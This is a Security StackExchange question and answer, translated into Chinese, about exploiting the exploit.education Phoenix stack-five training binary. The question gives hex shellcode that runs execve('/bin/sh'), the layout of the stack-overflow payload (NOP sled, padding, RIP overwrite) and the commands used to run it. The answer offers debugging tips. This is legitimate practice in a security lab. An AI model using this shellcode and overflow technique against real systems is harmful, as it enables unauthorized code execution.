我正在尝试菲尼克斯虚拟机,挑战堆栈-5在exploit.education (http://exploit.education/phoenix/stack-five/)上。我在利用堆栈溢出时遇到了一个问题。挑战是通过外壳代码运行execve('/bin/sh')。我从甲壳风暴(http://shell-storm.org/shellcode/files/shellcode-603.php)抓取了外壳代码。外壳代码包括:
[NOP slide]
(debug int3 \xcc)
"\x48\x31\xd2" // xor %rdx, %rdx
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov $0x68732f6e69622f2f, %rbx
"\x48\xc1\xeb\x08" // shr $0x8, %rbx
"\x53" // push %rbx
"\x48\x89\xe7" // mov %rsp, %rdi
"\x50" // push %rax
"\x57" // push %rdi
"\x48\x89\xe6" // mov %rsp, %rsi
"\xb0\x3b" // mov $0x3b, %al
"\x0f\x05"; // syscall
(debug int3 \xcc)
[padding]
[override rip pointing to the middle of the NOP slide]
我在shell代码之前和之后测试了int3's,看起来都很好,它们都在gdb内部和外部触发,因此我推断外壳代码正在执行,但我无法打开外壳。
我正在使用以下命令:
cat | /opt/phoenix/amd64/stack-five < exploit
cat exploit - | /opt/phoenix/amd64/stack-five
他们两个人都没拿到壳。
示例
user@phoenix-amd64:~$ cat exploit - | /opt/phoenix/amd64/stack-five
cat exploit - | /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
[ 7018.986649] traps: stack-five[433] trap int3 ip:7fffffffe68e sp:7fffffffe6c8 error:0
whoami
Trace/breakpoint trap
这个int3是在外壳代码之后。
知道怎么回事吗?
发布于 2020-07-30 23:20:11
理想情况下,您需要一个精确的小工具,比如jmp,而不是一个固定的堆栈地址和NOP雪橇。
在gdb之外运行时,在外壳代码中包含一个int3断点\xcc
将终止在这一点上的执行,并阻止您的shell代码运行。
我还没有完成这个挑战,但您并没有说您已经验证了shell代码在内存中正确加载。有时,程序处理数据的方式有一些字节应该避免(糟糕的字节)。查看源代码,这似乎并不是可能的原因,但这是一个很好的习惯进入。
有时,您可能还需要转移(尤其是从有效负载)以避免腐败。
您可以使用gdb逐步遍历外壳代码,以确保shell代码不会损坏,并且寄存器都已正确设置,并启动syscall。
https://security.stackexchange.com/questions/234621
复制相似问题